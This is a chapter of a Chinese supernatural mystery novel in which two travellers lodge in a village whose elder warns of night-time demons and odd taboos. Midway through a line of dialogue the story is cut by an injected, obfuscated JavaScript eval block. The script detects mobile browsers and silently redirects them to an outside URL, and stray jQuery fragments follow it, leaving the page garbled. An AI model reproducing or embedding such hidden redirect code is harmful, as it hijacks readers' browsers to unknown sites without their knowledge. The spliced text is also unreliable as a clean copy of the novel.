忘山跑死马。三水交汇处看着近在眼前，待傅晚棠与沈遇赶到漩涡边时，又耗费了一炷香的时间。漩涡湍急，水声隆隆，溅起的水沫打湿了岸边的几丛野花，花形寻常，绝非什么“不谢之花”。


    沈遇望向远处隐在薄暮里的村落轮廓，对傅晚棠道：“天色已沉，即便真有不谢之花，此刻也难以寻觅。是否先去前面村子借宿，再作打算？”


    傅晚棠目光扫过漩涡与远处的炊烟：“此村并非你我记忆中的三水村，但这村子建在三水交汇之畔，或许会有些线索。”


    看来，这村子是非进不可了。


    二人朝着村落方向行去。除了身后不远处那三个目的不明的莽汉，另一侧林中也窸窣作响，走出四人。为首的是一位拄着树枝的老丈，步履蹒跚，落后半步的是一对年轻夫妻，男子文士打扮，面带倦容，女子怀中抱着一个约莫四五岁蔫蔫的女童。几人皆是衣衫狼狈，满面风尘。


    这四人乍见人影，面露欣喜，待瞥见后面那三个彪形大汉后，又警觉地放缓脚步。斟酌再三，年轻男子最终朝着傅晚棠与沈遇拱手道：“在下陈明远，这是内子、家父和小女。本要去三水村投亲，却在山中迷路两日，干粮将尽，幸得遇见这村子……”


    “我二人也正要进村借宿。”傅晚棠还礼。


    “正好同行！”陈明远上前半步，压低声音，“后面那三位……”


    沈遇微微摇头，陈明远会意，扶着老父与傅晚棠二人并肩而行，刻意与后面三人拉开了距离。


    行不多时便到了村口，一方界碑出现在众人眼前，刻着两个大字：王村。


    傅晚棠与沈遇交换了一个眼神，皆从对方眼中读出了疑虑。她不动声色地取出罗盘不惑，只见罗盘一切正常，并无异状。


    一行九人心思各异地踏入村口。一入村口，映入眼帘的便是一棵半荣半枯的老槐树。树下蜷缩着一个衣衫褴褛的乞丐。


    乞丐浑身脏乱，枯草乱发覆面，半倚在树干旁，对来往行人毫无反应，他面前放着一只边缘豁口的破碗，碗内空空。


    他周围散发奇臭，如若不是胸膛尚有起伏，众人都会以为躺着的是一具将腐烂的尸体。


    陈娘子下意识掩鼻后退，陈明远也微微蹙眉。傅晚棠却走上前，取出几枚铜钱，俯身轻轻放入碗中。


    铜钱入碗，乞丐仍是纹丝不动，仿佛已沉沉睡去。


    “姑娘心善。”陈明远低声道。


    “举手之劳。”傅晚棠直起身。


    沈遇静立她身侧，目光若有所思地掠过那只碗和纹丝不动的乞丐，未曾言语。


    及至正式踏入村中，眼前景象却让人稍感心安。正是酉时晚饭时分，有村民扛着锄头从田埂归来，妇人们坐在门前借着未全熄一点天光缝补，孩童在巷弄间追逐嬉闹。见到他们这群陌生来客，村民纷纷停下手中活计，投来好奇打量的目光。


    一位打水路过的大婶热情地搭话：“哟，咱们村可是好久没来外客了，这一来就是一大帮子！”


    她显然将傅晚棠二人、陈明远一家和后面的罗全三人当成了一路的。


    得知他们要借宿，那大婶打量了他们一行人，为难道：“只一两个人，谁家都能挤一挤。你们这乌泱泱的……这样，你们顺着这条路往前走，看到院子最大的那家，去问问。莫担心，王老丈家院子宽敞，人也最是热心肠。”


    傅晚棠道谢后依言而行。王老丈果然爽快，听明来意，便笑着将众人迎进院中。院子宽敞整洁，角落里一个七八岁的虎头虎脑的男童正蹲在地上专注地玩着泥巴，见有生人，抬起头，乌溜溜的眼睛好奇地张望。


    王老丈嗓门洪亮：“巧了！老汉三个儿子都在城里做工，逢年过节才回来。空着三间厢房，诸位若不嫌弃，正好够住！”


    三间空置的厢房，正好分给三方人马。陈家与罗全等人自去安顿。沈遇看了一眼傅晚棠，转向王老丈道：“老丈，不知柴房可否容沈某歇脚？”


    王老丈一愣，他本以为沈遇与傅晚棠是夫妻，才如此安排，闻言连忙道：“唐突唐突，是老汉思虑不周。我这就将柴房略作收拾，只是委屈沈先生了。”


    沈遇摆手：“叨扰老丈，已是感激。”


    待王老丈暂时离开，傅晚棠看向沈遇：“行走江湖，原可不拘小节。”


    “此言差矣，”沈遇神色认真，“江湖风波恶，更需持身以正。你我虽坦荡，然人言可畏，沈某断不能因一己之便，损及小棠姑娘清誉。”


    傅晚棠不由得笑了一下，这沈遇今日装扮虽不同往常，但沈遇依旧还是那个沈遇。


    “我看沈兄脸色愈发差了，不若我住柴房，沈兄住厢房。”


    “万万不可，”沈遇再次拒绝，“男子汉大丈夫，岂有让女子居于陋室的道理？此事不必再议。”


    二人不再争执，转而低声交流方才所见。皆觉此村表面正常，但总感觉透着些许古怪。


    傅晚棠走到院角，蹲下身，看着那男童笨拙地将湿泥踩实，柔声问：“小弟弟，在做什么呢？”


    男童抬起头，腼腆一笑：“种花。”说完他像是害羞了，丢下泥巴一溜烟跑回了屋里。


    不多时，王老丈在院中招呼用饭。罗全三人此刻寄人篱下，倒也装出几分守礼的模样。


    王老丈的老伴端上简单的饭食，笑呵呵道：“乡下粗茶淡饭，诸位莫要嫌弃。”


    “岂敢，多谢款待。”众人纷纷道谢。


    王老丈见孙子满手泥污地跑来，笑骂一句：“小皮猴！一天到晚就知道种这种那，也没见你种出个名堂来。”


    他转而面向众人，语带提醒：“万物皆有灵，诸位留意花草莫折，落叶莫拾。这些是些村里的老规矩，诸位随便一记便可。”


    众人虽不明所以，仍点头应下。


    陈娘子见那男童可爱，从随身的包袱里摸出一块麦芽糖递过去：“娃儿多大啦？生得真讨人喜欢。”


    王老丈替孙儿接过糖，笑着对陈娘子道：“童言无忌，莫问年岁。小孩子家，一天一个样儿，记它做甚。”


    这话说得众人面面相觑，陈娘子更是莫名其妙，她也不好再问。


    “快，趁热吃。”王老丈热情招呼着，“咱们庄户人家，吃饭最是准时。早饭不过辰，午饭不


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16526072|181777||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    过未，晚饭不过酉。过了时辰，灶王爷收了烟火气，就没得吃喽。”


    众人早已饥肠辘辘，此刻虽是寻常村食，也堪比珍馐，很快便一扫而空。


    饭毕，天色已彻底暗沉，戌时将至。王老丈敲了敲烟袋锅子，神色忽然严肃了起来：“诸位早些歇息。待会儿打更的梆子响过，就莫要在外头走动了。”


    他顿了顿，压低了嗓音，神秘兮兮道：“咱们这儿啥都好，就是……夜里不太平，有妖怪，专吃人！”


    “夜里若是听见窗外有人叫你名字，或是听见熟人哭喊求救，千万别应声，也别出去看。那都是妖怪骗人出去哩，你们那就老老实实睡觉，万事没有！”


    傅晚棠与沈遇皆若有所思，陈家几人面露惊疑，罗全等人则是一脸不以为然。


    王老丈拿来几盏油灯置于桌上：“这灯给你们留着，夜里切记，莫要吹熄！灯火一灭，妖怪就容易找上门哩！”


    众人出门回房时，他又添了一句：“踏实睡，没听到鸡叫，莫要起身。”


    “还有……”王老丈特意转向陈明远和罗全，“你们几位挤在一间房的，夜里若是醒了，千万莫要互相询问时辰，也别说黑灯瞎火的怎么天还不亮这类话，也容易招妖怪。”


    看着王老丈佝偻的背影消失在主屋门口，陈明远凑近沈遇，声音微颤：“沈兄，王老丈这话……听着怎如此瘆人？规矩也忒多，难道这村里真有……妖怪？”


    沈遇面色在昏暗的油灯光下更显苍白，他低声道：“虚实难辨，陈兄弟，谨慎些总是无错。”


    罗全三人嗤笑声传来，语带嘲讽：“傻缺！装神弄鬼的话也信！”说罢提着油灯扬长而去。


    院中只剩傅晚棠与沈遇二人。见她凝眉沉思，沈遇轻声问道：“小棠姑娘，可是察觉此地有异？”


    傅晚棠摇了摇头：“罗盘，铜锁，黄符皆没有异变……一切正常。”


    “但小棠姑娘仍觉得不对劲？”沈遇捕捉到她话语中的迟疑。


    “不错。”傅晚棠点点头，“此村你我二人游历江南时并未见过，当然可能是此地比较隐蔽错过也不得而知。只是方才王老丈句句似有所指，不完全像是空穴来风。”


    沈遇沉吟片刻：“既入此村，便入乡随俗。王老丈的告诫，我们照做便是。”


    “嗯。”傅晚棠应下。


    沈遇又道：“小棠姑娘乃玄门高人，于妖邪鬼怪一事自是得心应手，沈某本不该置喙。然智者千虑…..”


    “必有一失…….”傅晚棠会意一笑，“自古以来淹死的都是会水的。沈兄放心，我晓得轻重。”


    就在这时，主屋方向突然传来王老丈喊声，语气急促紧张：“二位还不快进屋！梆子声就要响了！快！”


    傅晚棠、沈遇二人对视一眼，当即不再多言，各自转身走向厢房和柴房。


    夜色如墨，万籁俱寂。


    “笃！——笃！”


    “笃！——笃！”


    “笃！——笃！”


    随着三声梆子声响起，更夫嘶哑的声音划破寂静。


    “天干物燥，小心火烛！”